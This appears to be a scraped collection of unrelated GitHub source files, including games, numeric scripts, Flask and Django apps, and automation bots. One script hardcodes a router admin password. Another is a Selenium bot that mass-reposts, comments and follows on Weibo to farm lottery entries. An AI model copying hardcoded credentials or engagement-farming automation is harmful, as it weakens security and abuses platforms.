user wins if display has no blanks remaining\n if '_' not in display:\n print('You win!')\n end_of_game = True\n \n # user makes an incorrect guess -> loses a life\n if guess not in chosen_word:\n print(f\"You guessed {guess} but that's not in the word. You lose a life.\")\n lives -= 1\n # user loses if lives reaches 0\n if lives == 0:\n print(f'You lose. The correct word was {chosen_word}.')\n end_of_game = True\n\n # display hangman image relative to user's remaining lives\n print(stages[lives]) \n","repo_name":"chervinsky92/hangman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26882158505","text":"# Aula 1 - ex1\r\n# Se você fizer uma corrida de 10 quilômetros em 43 minutos e 30 segundos, qual será seu tempo médio por milha? Qual é a sua velocidade média em milhas por hora? (Dica: há 1,61 quilômetros em uma milha).\r\nd_metros=10*1000\r\nt_seg=43*60+30\r\n\r\n# Velocidade em metros por segundo:\r\nv_ms=d_metros/t_seg\r\nprint(v_ms)\r\n\r\n# Velocidade em quilômetros por hora:\r\nv_kmh=v_ms*3.6\r\nprint(v_kmh)\r\n\r\n# Velocidade em libras por hora:\r\nl=1610\r\nv_lh=v_kmh/l\r\nprint(v_lh)\r\n\r\n# Tempo por libra:\r\nt_l=(t_seg*l)/d_metros\r\nprint(t_l)\r\n","repo_name":"luannaserqueira/Python","sub_path":"aula1_ex1.py","file_name":"aula1_ex1.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"36845816327","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom scipy.sparse.linalg import cg\nimport tensorflow as tf\nimport time\n\nnp.random.seed(3)\ntf.random.set_random_seed(3)\n\ndef conjugate_grad(A, b, x=None):\n \"\"\"\n Description\n -----------\n Solve a linear equation Ax = b with conjugate gradient method.\n\n Parameters\n ----------\n A: 2d numpy.array of positive semi-definite (symmetric) matrix\n b: 1d numpy.array\n x: 1d numpy.array of initial point\n\n Returns\n -------\n 1d numpy.array x such that Ax = b\n \"\"\"\n n = len(b)\n if not x:\n x = np.ones(n)\n r = np.dot(A, x) - b\n print (\"r init: \", r[0:5])\n p = - r\n r_k_norm = np.dot(r, r)\n for i in range(2*n): #50):\n Ap = np.dot(A, p)\n alpha = r_k_norm / np.dot(p, Ap)\n x += alpha * p\n r += alpha * Ap\n r_kplus1_norm = np.dot(r, r)\n print (\"r new: \", r_k_norm, r_kplus1_norm, r[0:5])\n beta = r_kplus1_norm / r_k_norm\n r_k_norm = r_kplus1_norm\n if r_kplus1_norm < 1e-5:\n print ('Itr:', i)\n break\n p = beta * p - r\n return x\n\ndef run():\n\n n = 10\n P = np.random.normal(size=[n, n])\n A = np.dot(P.T, P)\n b = np.ones(n)\n\n t1 = time.time()\n print ('start')\n x = conjugate_grad(A, b)\n t2 = time.time()\n print (t2 - t1)\n x2 = np.linalg.solve(A, b)\n t3 = time.time()\n print (t3 - t2, np.linalg.norm(x - x2))\n x3 = cg(A, b)[0]\n t4 = time.time()\n print (t4 - t3, np.linalg.norm(x - x3))\n\n import tensorflow as tf\n dtype = tf.float64\n with tf.name_scope('cg_vars'):\n Avar = tf.Variable(A, dtype=dtype)\n bvar = tf.Variable(b.reshape(n, 1), dtype=dtype)\n cg_step = tf.Variable(0, trainable=False, dtype=tf.int32)\n dl = tf.Variable(0, trainable=False, dtype=dtype)\n\n zeros = tf.zeros((n,1), dtype=dtype)\n ones = tf.ones((n,1), dtype=dtype)\n\n delta = tf.Variable(ones, dtype=dtype, name='delta')\n direction = tf.Variable(zeros, dtype=dtype, name='direction')\n residual = tf.Variable(zeros, dtype=dtype, name='residual')\n residual_norm = tf.Variable(0, trainable=False, dtype=dtype)\n\n print (\"cg step 1: \", cg_step)\n reset_cg_step = tf.assign(cg_step, 0)\n\n # with tf.name_scope('conjugate_gradient'):\n # # If first step, set to bAx, r\n # condition = tf.equal(cg_step, 0)\n #\n # r = tf.cond(condition, lambda: tf.assign(residual, Avar @ delta - bvar), lambda: residual)\n # with tf.control_dependencies([r]):\n # d = tf.cond(condition, lambda: tf.assign(direction, -residual), lambda: direction)\n # # with tf.control_dependencies([d]):\n # residual_norm = tf.reduce_sum(r**2)\n #\n # Ad = Avar @ d\n #\n # alpha = residual_norm / tf.reduce_sum(d * Ad)\n # beta = tf.reduce_sum((r + alpha * Ad)**2) / residual_norm\n #\n # update_delta = tf.assign(delta, delta + alpha * d, name='update_delta')\n # update_residual = tf.assign(residual, r + alpha * Ad, name='update_residual')\n # update_direction = tf.assign(direction, beta * d - (r + alpha * Ad), name='update_direction')\n\n print (\"cg step 2: \", cg_step)\n\n def cg_iter():\n with tf.name_scope('conjugate_gradient'):\n\n condition = tf.equal(cg_step, 0)\n\n r = tf.cond(condition, lambda: tf.assign(residual, Avar @ delta - bvar), lambda: residual)\n with tf.control_dependencies([r]):\n d = tf.cond(condition, lambda: tf.assign(direction, -residual), lambda: direction)\n residual_norm = tf.reduce_sum(r**2)\n\n Ad = Avar @ d\n\n alpha = residual_norm / tf.reduce_sum(d * Ad)\n beta = tf.reduce_sum((r + alpha * Ad)**2) / residual_norm\n\n update_delta = tf.assign(delta, delta + alpha * d, name='update_delta')\n update_residual = tf.assign(residual, r + alpha * Ad, name='update_residual')\n update_direction = tf.assign(direction, beta * d - (r + alpha * Ad), name='update_direction')\n\n cg_step_up = tf.assign_add(cg_step, 1)\n\n return cg_step_up, update_delta, update_residual, update_direction, residual_norm\n\n def cg_cond(cg_step, cg_delta, cg_directions, cg_residuals, residual_norm):\n return tf.less(cg_step, 2*n)\n\n def cg_body(cg_step, cg_delta, cg_directions, cg_residuals, residual_norm):\n # with tf.control_dependencies([tf.print(tf.equal(cg_step, 0))]):\n cg_step, cg_delta_update_ops, cg_directions_update_ops, cg_residuals_update_ops, residual_norm = cg_iter()\n return cg_step, cg_delta_update_ops, cg_directions_update_ops, cg_residuals_update_ops, residual_norm\n\n with tf.control_dependencies([reset_cg_step]):\n # gradients = tf.gradients(loss, vars)\n cg_op = tf.while_loop(\n cg_cond,\n cg_body,\n (cg_step, delta, direction, residual, residual_norm),\n back_prop=False,\n parallel_iterations=1)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n step, dlt, dir, res, res_norm = sess.run(cg_op)\n print (step, res_norm)\n print (\"dist: \", np.linalg.norm(x - dlt[:,0]))\n\n # for i in range(2*n):\n # # res_norm, res = sess.run([residual_norm, r])\n # dlt, res_up, dir = sess.run([update_delta, update_residual, update_direction])\n # itr = sess.run(cg_step)\n # sess.run(tf.assign_add(cg_step, 1))\n # print (itr, \":, res, dist: \", res_up, np.linalg.norm(x - dlt[:,0]))\n #\n # x4 = sess.run(delta)\n # print (\"dist: \", np.linalg.norm(x - x4[:,0]))\n\nif __name__ == '__main__':\n run()\n","repo_name":"tpbarron/adacurv","sub_path":"experiments/mnist_tf/cg_test.py","file_name":"cg_test.py","file_ext":"py","file_size_in_byte":5790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"71741920807","text":"from asyncio.windows_events import NULL\nfrom selenium import webdriver\nimport time\nimport tkinter as tk\nfrom requests import get\n\nwindow = tk.Tk()\nwindow.geometry(\"300x200\")\nwindow.resizable(False, False)\nwindow.title(\"IPChanger\")\n# window.iconbitmap('./files/icon.ico')\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('headless')\noptions.add_argument('window-size=1920x1080')\noptions.add_argument(\"disable-gpu\")\n\n\ndef getIp():\n try:\n ipLabel.config(text=\"İp adresiniz : \" +\n get('https://api.ipify.org/').content.decode('utf8'))\n except:\n ipLabel.config(text=\"İnternet Bağlantınızı Kontrol Edin !\")\n\n\ndef getElement(xpath, driver):\n for i in range(5):\n time.sleep(1)\n element = driver.find_element_by_xpath(xpath)\n if (element != NULL):\n return element\n elif (i == 5):\n return 0\n\n\ndef setStatus(text):\n statusLabel.config(text=text)\n\n\ndef change():\n driver = webdriver.Chrome(chrome_options=options)\n\n for i in range(5):\n try:\n setStatus(\"Panele giriliyor\")\n driver.get(\"http://192.168.1.1/\")\n time.sleep(1)\n break\n except:\n setStatus('Adres Başlatılamadı ! Deneme ', i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n for i in range(5):\n if (driver.current_url == \"http://192.168.1.1/login\"):\n setStatus(\"Giriş deneniyor\")\n\n username = driver.find_element_by_xpath('//*[@id=\"username\"]')\n password = driver.find_element_by_xpath('//*[@id=\"userpassword\"]')\n loginBtn = driver.find_element_by_xpath('//*[@id=\"loginBtn\"]')\n\n if (username == 0 or password == 0 or loginBtn == 0):\n setStatus(\"Başarısız !\")\n return 0\n\n username.send_keys(\"admin\")\n password.send_keys(\"123789546b.B\")\n\n time.sleep(1)\n loginBtn.click()\n time.sleep(1)\n\n setStatus(\"Giriş Yapıldı\")\n break\n\n for i in range(5):\n try:\n setStatus(\"Broadband ayarlarına giriliyor\")\n driver.get(\"http://192.168.1.1/Broadband\")\n time.sleep(2)\n break\n except:\n setStatus('Adres Başlatılamadı ! Deneme ' + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n for i in range(5):\n try:\n setStatus(\"Network ayarlarına giriliyor\")\n editBtn = driver.find_element_by_xpath(\n '/html/body/div/div/div[4]/div/div[2]/div/div/div[2]/table/tbody/tr/td[13]/span[1]/i')\n editBtn.click()\n time.sleep(2)\n except:\n setStatus('Buton bulunamadı ! Deneme ' + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n try:\n setStatus(\"Network ayarları kaydediliyor\")\n saveBtn = driver.find_element_by_xpath(\n '//*[@id=\"WANInterface_btnsave\"]')\n saveBtn.click()\n break\n except:\n setStatus(\"Ayarlar kaydedilemedi ! Deneme \" + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n setStatus(\"Başarılı !\")\n getIp()\n driver.close()\n\n\nstartButton = tk.Button(window, text=\"IP DEĞİŞTİR\", bg=\"gray\",\n fg=\"white\", border=\"0\", activebackground=\"#A9A9A9\", command=change)\nstartButton.pack()\nstartButton.place(anchor=\"n\", height=75, width=250, x=150, y=25)\n\nstatusLabel = tk.Label(window, text=\"Boşta\")\nstatusLabel.pack()\nstatusLabel.place(anchor=\"n\", x=150, y=110)\n\nipLabel = tk.Label(window, text=\"İp adresiniz : \")\nipLabel.pack()\nipLabel.place(anchor=\"n\", x=155, y=135)\n\nstartButton = tk.Button(window, text=\"Ip Güncelle\", bg=\"gray\",\n fg=\"white\", border=\"0\", activebackground=\"#A9A9A9\", command=getIp)\nstartButton.pack()\nstartButton.place(anchor=\"n\", height=25, width=75, x=155, y=160)\n\n# Start the GUI\nwindow.mainloop()\n","repo_name":"farukborann/IPChanger","sub_path":"webbot.py","file_name":"webbot.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"37243064729","text":"import tempfile\nimport os\nimport subprocess\nimport re\nimport shutil\nimport datetime\nimport json\nfrom flask import request\nfrom flask import Flask, render_template,redirect,url_for,jsonify\nfrom werkzeug import secure_filename\n\n\n\napp = Flask(__name__)\n\napp.config['ALLOWED_EXTENSIONS'] = set(['json'])\n\n# For a given file, return whether it's an allowed type or not\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']\n\n# calling the home page\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n# calculates the handle value which is important for storing the naf files\n@app.route('/init')\ndef gethandle():\n workdir = tempfile.mkdtemp(prefix = \"naf2json\", dir = \"/tmp\")\n handle = os.path.basename(workdir)\n cleanup()\n return handle\n\n\n@app.route('/upnaf', methods=['GET', 'POST'])\n@app.route('/upnaf/', methods=['GET', 'POST'])\ndef upload_file(handle = None):\n if handle == None:\n workdir = tempfile.mkdtemp(prefix = \"naf2json\", dir = \"/tmp\")\n handle = os.path.basename(workdir)\n else:\n workdir = \"/tmp/\" + handle\n if request.method == 'POST':\n f = request.files['files[]']\n f.save(workdir + \"/\" + secure_filename(f.filename))\n json = subprocess.check_output([\"./doit\", workdir])\n cleanup()\n return json\n\n\n@app.route('/upjson', methods=['GET', 'POST'])\n@app.route('/upjson/', methods=['GET', 'POST'])\ndef upload(handle = None):\n if handle == None:\n workdir = tempfile.mkdtemp(prefix=\"jsonfile\",dir=\"/tmp\")\n handle = os.path.basename(workdir)\n else:\n workdir = '/tmp/' + handle\n if request.method == \"POST\":\n uploaded_file= request.files[\"file[]\"]\n if uploaded_file and allowed_file(uploaded_file.filename):\n uploaded_file.save(workdir + \"/\" + secure_filename(uploaded_file.filename))\n\n with open(workdir + \"/\" + secure_filename(uploaded_file.filename)) as json_file:\n json_data = json.load(json_file)\n return jsonify(**json_data)\n\n\n@app.route('/getnaf', methods=['GET', 'POST'])\ndef naf2json():\n workdir = '/home/marla/newTimelineApp/app/static/naf'\n json = subprocess.check_output([\"./doit\", workdir])\n cleanup()\n return json\n\n\n@app.route('/finit/')\ndef cleanhandle(handle = None):\n workdir = \"/tmp/\" + handle\n shutil.rmtree(workdir)\n cleanup()\n return 0\n\ndef root():\n return os.path.dirname(__file__)\n\npat = re.compile('naf2json\\w*')\n\ndef cleanup():\n for filename in os.listdir(\"/tmp\"):\n if pat.match(filename):\n filepath = \"/tmp/\" + filename\n filemodified = datetime.datetime.fromtimestamp(os.path.getmtime(filepath))\n existtime = datetime.datetime.now() - filemodified\n if existtime.total_seconds() > 7200:\n shutil.rmtree(filepath) \n\n\nif __name__ == '__main__':\n# app.debug = True\n app.run(debug=True)\n","repo_name":"newsreader/y3demos","sub_path":"2015timelineDemo/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"2793934915","text":"\"\"\"\n2D Rectilinear Model\n--------------------\nThis 2D rectilinear model defines a grid with straight cell boundaries.\n\n\"\"\"\n\n#%%\nfrom geobipy import StatArray\nfrom geobipy import RectilinearMesh2D\nfrom geobipy import Model\nimport h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n#%%\n# Specify some cell centres in x and y\nx = StatArray(np.arange(11.0), 'Easting', 'm')\ny = StatArray(np.arange(11.0), 'Northing', 'm')\nmesh = RectilinearMesh2D(x_edges=x, y_edges=y)\n\nxx, yy = np.meshgrid(mesh.x.centres, mesh.y.centres)\nvalues = StatArray(np.sin(np.sqrt(xx ** 2.0 + yy ** 2.0)), \"Values\")\n\nmod = Model(mesh=mesh, values = values)\n\nplt.figure()\nmod.pcolor()\n\nmod2 = mod.resample(0.5, 0.5)\nmod3 = mod.resample(1.5, 1.5)\nplt.figure()\nplt.subplot(121)\nmod2.pcolor()\nplt.axis('equal')\nplt.subplot(122)\nmod3.pcolor()\nplt.axis('equal')\n\n\n# ################################################################################\n# # We can plot the mesh in 3D!\n# pv = rm.pyvista_plotter()\n# pv.show()\n\n# rm.to_vtk('Model3D.vtk')\n\nwith h5py.File('Model2D.h5', 'w') as f:\n mod.toHdf(f, 'model')\n\nwith h5py.File('Model2D.h5', 'r') as f:\n mod2 = Model.fromHdf(f['model'])\n\n\nplt.show()","repo_name":"DOI-USGS/geobipy","sub_path":"docs/_downloads/b65392b576618a906ad35b58f026489b/plot_model_2d.py","file_name":"plot_model_2d.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"} +{"seq_id":"38273619975","text":"def bubbleSort(xlist):\n for num in range(len(xlist)-1, 0, -1):\n for i in range(num):\n if xlist[i] > xlist[i+1]:\n temp = xlist[i]\n xlist[i] = xlist[i+1]\n xlist[i+1] = temp\n return xlist\n\n\nif __name__ == '__main__':\n x = input('please type an array in format 1 2 5 10: ')\n xlist = x.split(' ')\n xlist = [int(xlist[i]) for i in range(len(xlist))]\n bubbleSort(xlist)\n print(xlist)\n","repo_name":"wenhe1018/cpnm_course","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18788430060","text":"# -*- coding: utf-8 -*-\nimport time\nimport json\nfrom selenium import webdriver\nfrom loguru import logger\nimport random\n\nchrome_driver = r\"./chromedriver\"\n\n\nclass WB:\n def __init__(self):\n\n # 读参数信息\n with open('data.json', 'r') as file:\n data = json.load(file)\n self.username = data['username']\n self.password = data['password']\n self.refreshTime = data['refreshTime']\n self.isShow = data['isShow']\n self.isRepeatForward = data['isRepeatForward']\n logger.info(data)\n\n # 浏览器参数设置\n option = webdriver.ChromeOptions()\n if self.isShow == 'False':\n option.add_argument('--headless')\n option.add_argument('--no-sandbox')\n option.add_argument('--disable-dev-shm-usage')\n option.add_argument('--disable-gpu')\n option.add_experimental_option('mobileEmulation', {'deviceName': 'iPhone X'})\n option.add_experimental_option(\"prefs\", {\"profile.managed_default_content_settings.images\": 2})\n self.driver = webdriver.Chrome(chrome_options=option, executable_path=chrome_driver) # 选择Chrome浏览器\n self.driver.implicitly_wait(30) # 隐性等待\n\n def login(self):\n\n time.sleep(2)\n self.driver.find_element_by_class_name(\"b-left\").click()\n\n # 登陆\n time.sleep(3)\n self.driver.find_element_by_id(\"loginName\").send_keys(self.username)\n self.driver.find_element_by_id(\"loginPassword\").send_keys(self.password)\n self.driver.find_element_by_id(\"loginAction\").click()\n\n # sleep给浏览器留出反应时间\n time.sleep(5)\n\n def thisClick(self, element):\n try:\n self.driver.execute_script(\"arguments[0].click();\", element)\n time.sleep(2)\n except Exception as e:\n logger.error(e)\n\n def start(self):\n\n # 登陆微博\n self.driver.get(\"https://m.weibo.cn/login?backURL=https%3A%2F%2Fm.weibo.cn%2F\")\n self.login()\n time.sleep(3)\n\n while True:\n try:\n # 开始转发抽奖信息\n self.forward()\n time.sleep(int(self.refreshTime))\n\n except Exception as e:\n logger.error(e)\n\n\n def scroll(self):\n \"\"\"该函数用户下滑页面\"\"\"\n\n num = random.randint(2, 10)\n logger.info(\"下滑次数为:\" + str(num))\n\n for i in range(num):\n self.driver.execute_script(\"var q=document.documentElement.scrollTop=300000\")\n time.sleep(3)\n\n def forward(self):\n\n # 搜索抽奖信息\n self.driver.get('https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D%E6%8A%BD%E5%A5%96')\n time.sleep(3)\n\n # 下滑页面以获取更多的抽奖信息\n self.scroll()\n\n # 获取抽奖微博\n elements = self.driver.find_elements_by_css_selector(\".weibo-member .card-wrap\")\n element = random.choice(elements)\n text = element.find_element_by_class_name(\"weibo-og\").text\n\n logger.info(\"该页面微博数量为:\" + str(len(elements)))\n logger.info(\"待转发微博为:\" + text)\n\n with open('./record.txt', \"r\") as f:\n previous = f.read()\n\n # 判断是否曾转发\n if not previous.count(text):\n\n # 进入详情页\n self.thisClick(element.find_element_by_css_selector(\".weibo-og .weibo-text\"))\n\n # 执行微博点赞操作\n self.thisClick(self.driver.find_element_by_css_selector(\".lite-page-editor .lite-iconf-like\"))\n\n '''\n # 执行微博评论的点赞操作\n like=self.driver.find_elements_by_class_name('lite-iconf-like');\n for i in like:\n self.thisClick(i) # 点赞\n '''\n\n # 转发+评论\n values = ['中奖选我选我选我', '你这条转发评论是最近的巅峰',\n '好运锦鲤 捞我吧', '祝我好运',\n '所有好运非你莫鼠', '人生不长唯有暴富',\n '何以解忧,唯有暴富', '何以解忧,唯有中奖', ]\n value = random.choice(values)\n self.thisClick(self.driver.find_element_by_class_name(\"lite-iconf-report\")) # 转发\n self.driver.find_element_by_css_selector(\".m-pos-r textarea\").send_keys(value)\n self.thisClick(self.driver.find_element_by_class_name(\"m-checkbox\")) # 同时评论\n self.thisClick(self.driver.find_element_by_class_name(\"m-send-btn\")) # 发送\n\n # 关注\n self.thisClick(self.driver.find_element_by_css_selector(\".weibo-top .m-avatar-box a\"))\n followBtns = self.driver.find_elements_by_class_name(\"m-followBtn\")\n for i in followBtns:\n self.thisClick(i) # 关注\n\n logger.info(text + \" 评论内容:\" + value)\n\n # 记入文件\n f = open('转发点赞记录.txt', \"a+\")\n f.write(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \",\" + text + \" 评论内容:\" + value + '\\r')\n f.close()\n\n else:\n\n if previous.count(text):\n logger.info(\"已转发\")\n if len(element.find_elements_by_css_selector(\".weibo-og\")) <= 0:\n logger.info(\"无法进入详情页\")\n\n logger.info(\"************************\")\n\n\nif __name__ == '__main__':\n wb = WB()\n wb.start()\n","repo_name":"a-bean-sprout/automatic_control_browser","sub_path":"weibo_repost_lottery.py","file_name":"weibo_repost_lottery.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17544743593","text":"import socket\r\nimport threading\r\nimport random\r\n\r\ndef handle_client(client_socket):\r\n while True:\r\n request = client_socket.recv(1024).decode('utf-8')\r\n if not request:\r\n break\r\n operation, tal1, tal2 = request.split(\";\")\r\n tal1, tal2 = int(tal1), int(tal2)\r\n \r\n if operation == \"Random\":\r\n response = str(random.randint(tal1, tal2))\r\n elif operation == \"Add\":\r\n response = str(tal1 + tal2)\r\n elif operation == \"Subtract\":\r\n response = str(tal1 - tal2)\r\n else:\r\n response = \"Invalid Operation\"\r\n \r\n client_socket.send(response.encode('utf-8'))\r\n client_socket.close()\r\n\r\ndef server():\r\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server_socket.bind((\"0.0.0.0\", 7))\r\n server_socket.listen(5)\r\n print(\"Server is listening\")\r\n\r\n while True:\r\n client_socket, addr = server_socket.accept()\r\n print(f\"Accepted connection from {addr}\")\r\n client_handler = threading.Thread(target=handle_client, args=(client_socket,))\r\n client_handler.start()\r\n\r\nif __name__ == \"__main__\":\r\n server()","repo_name":"NikolajNK/Pythonopg4","sub_path":"Opg4/serveropg4.py","file_name":"serveropg4.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22343098348","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath('..'))\n\nproject = 'Лабораторный Практикум и Курс Лекций'\ncopyright = '2023, Демидовский А.В.'\nauthor = 'Демидовский А.В. и другие'\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n 'sphinx_design',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'docxbuilder',\n 'sphinx.ext.napoleon'\n]\n\ntemplates_path = ['_templates']\nexclude_patterns = []\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = 'sphinx_rtd_theme'\nhtml_static_path = ['_static']\n# html_title = project\nhtml_logo = '_static/fal_logo.jpeg'\n","repo_name":"fipl-hse/fipl-hse.github.io","sub_path":"source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3584426280","text":"from cities_light.models import City\nfrom django import forms\nfrom django.utils import timezone\n\nfrom eventsapp.models import Events\n\n\nclass AddEventForm(forms.ModelForm):\n class Meta:\n model = Events\n fields = ['title', 'description', 'start_time', 'end_time', 'country', 'city', 'address', 'category', 'ticket_quantity', 'image']\n widgets = {\n 'start_time': forms.DateTimeInput(attrs={'type': 'datetime-local'}),\n 'end_time': forms.DateTimeInput(attrs={'type': 'datetime-local'}),\n 'country': forms.Select(attrs={'id': 'id_country'}),\n 'city': forms.Select(attrs={'id': 'id_city'}),\n 'address': forms.TextInput(attrs={'placeholder': 'example: YourStreetName 1'}),\n }\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request', None)\n super().__init__(*args, **kwargs)\n self.fields['country'].empty_label = \"choose country\"\n country = self['country'].value()\n self.fields['category'].empty_label = \"choose category\"\n if country:\n self.fields['city'].queryset = City.objects.filter(country_id=country)\n else:\n self.fields['city'].empty_label = \"choose city\"\n self.fields['city'].queryset = City.objects.none()\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n if self.request:\n instance.organizer = self.request.user # Встановити організатора з об'єкта request\n if commit:\n instance.save()\n return instance\n\n def clean_city(self):\n city = self.cleaned_data.get('city')\n country = self.cleaned_data.get('country')\n if city and country and city.country != country:\n raise forms.ValidationError(\"City does not belong to selected country.\")\n return city\n\n def clean_start_time(self):\n start_time = self.cleaned_data.get('start_time')\n current_time = timezone.now()\n if start_time.date() == current_time.date() or start_time < current_time:\n raise forms.ValidationError(\"The start time of the event cannot be on the current day or earlier.\")\n return start_time\n\n def clean_end_time(self):\n end_time = self.cleaned_data.get('end_time')\n start_time = self.cleaned_data.get('start_time')\n if start_time and end_time and start_time >= end_time:\n raise forms.ValidationError(\"The start time of the event must be less than the end time.\")\n return end_time\n","repo_name":"NikitaVishnyak/eventtracker","sub_path":"eventtracker/eventsapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25391597228","text":"'''\nLooks for .txt files in and runs them through the strip_headers()\nfunction, writing the result with the same filename to .\n'''\n\nimport glob\nimport sys\n\nfrom tqdm import tqdm\n\nimport gutenberg.cleanup.strip_headers as strip_headers\nfrom gutenberg._util.os import reopen_encoded\nfrom gutenberg import Error\n\n\nif len(sys.argv) != 3:\n print('usage: python3 clean.py ')\n sys.exit(1)\n\nindir = sys.argv[1]\noutdir = sys.argv[2]\n\nfiles = glob.glob(indir + '/*.txt')\nfor f in tqdm(files):\n try:\n with reopen_encoded(open(f, 'r'), 'r', 'utf8') as infile:\n cleaned = strip_headers(infile.read())\n\n short = f.split('/')[-1]\n with open(outdir + '/' + short, 'w', encoding='utf8') as outfile:\n outfile.write(cleaned)\n except:\n print('Error processing', f, '; skipping...')\n","repo_name":"Abdulkadir98/book-search","sub_path":"data ingestion/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"19044359414","text":"# (c) 2023 Hermann Paul von Borries\n# MIT License\n# Power off task. Monitors activity and enters deepsleep to save battery\n# if not active.\nimport machine\nimport asyncio\n\nfrom player import player\nfrom minilog import getLogger\nfrom config import config\nfrom led import led\nimport webserver\n\nclass PowerManager:\n def __init__( self ):\n\n self.logger = getLogger( __name__ )\n self.power_task = asyncio.create_task(\n self.power_process()\n )\n self.logger.debug(\"init ok\")\n\n async def power_process( self ):\n self.logger.debug(\"Power off monitor started\")\n last_tune = None\n last_playtime = None\n idle_minutes = 0\n idle_deepsleep_minutes = config.get_int(\"idle_deepsleep_minutes\", 15)\n try:\n while True:\n await asyncio.sleep( 60 ) # Sleep for 1 minute and check.\n\n progress = player.get_progress()\n playtime = progress[\"playtime\"]\n tune = progress[\"tune\"]\n # Any activity in the last minute?\n if ( playtime != last_playtime or\n tune != last_tune or\n webserver.is_active() ):\n # Yes, reset time\n idle_minutes = 0\n else:\n idle_minutes += 1\n self.logger.debug(f\"Idle for {idle_minutes} minutes limit {idle_deepsleep_minutes}\")\n\n last_tune = tune\n last_playtime = playtime\n\n if idle_minutes > idle_deepsleep_minutes:\n led.off()\n self.logger.info(f\"Idle for {idle_minutes} minutes, entering deepsleep\")\n self.power_off()\n # Not to return\n\n except Exception as e:\n self.logger.exc( e, \"power management process aborted\")\n\n def power_off( self ):\n # Closest thing to self power off.\n await asyncio.sleep_ms(100)\n machine.deepsleep()\n \n def cancel_power_off( self ):\n self.power_task.cancel()\n \n\npoweroff = PowerManager()\n","repo_name":"bixb922/crank-organ","sub_path":"src/poweroff.py","file_name":"poweroff.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73730256809","text":"from updatedGraphics import *\r\n\r\nclass Bomb(object):\r\n \"\"\"Creates a bomb\"\"\"\r\n def __init__(self, center:Point, radius = 200):\r\n self.center = center\r\n self.centerX = center.getX()\r\n self.centerY = center.getY()\r\n self.radius = radius\r\n self.bomb = Circle(self.center, self.radius)\r\n self.bomb.setOutline(\"red\")\r\n\r\n def drawBomb(self, win:GraphWin):\r\n self.bomb.draw(win)","repo_name":"PSHS-Programming1/Period4GitTest","sub_path":"Bomb.py","file_name":"Bomb.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"93443916","text":"import os\nimport unittest\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom six import next\nfrom six.moves import filter\n\nfrom celery import Celery\nfrom flask import Flask\nfrom redis import StrictRedis\n\nfrom flask_notifications import Notifications\nfrom flask_notifications.event import Event\nfrom flask_notifications.event_hub import EventHub\nfrom flask_notifications.consumers.email.flaskmail_consumer import \\\n FlaskMailConsumer\nfrom flask_notifications.consumers.push.push_consumer import PushConsumer\nfrom flask_notifications.consumers.log.log_consumer import LogConsumer\nfrom flask_notifications.filters.before_date import 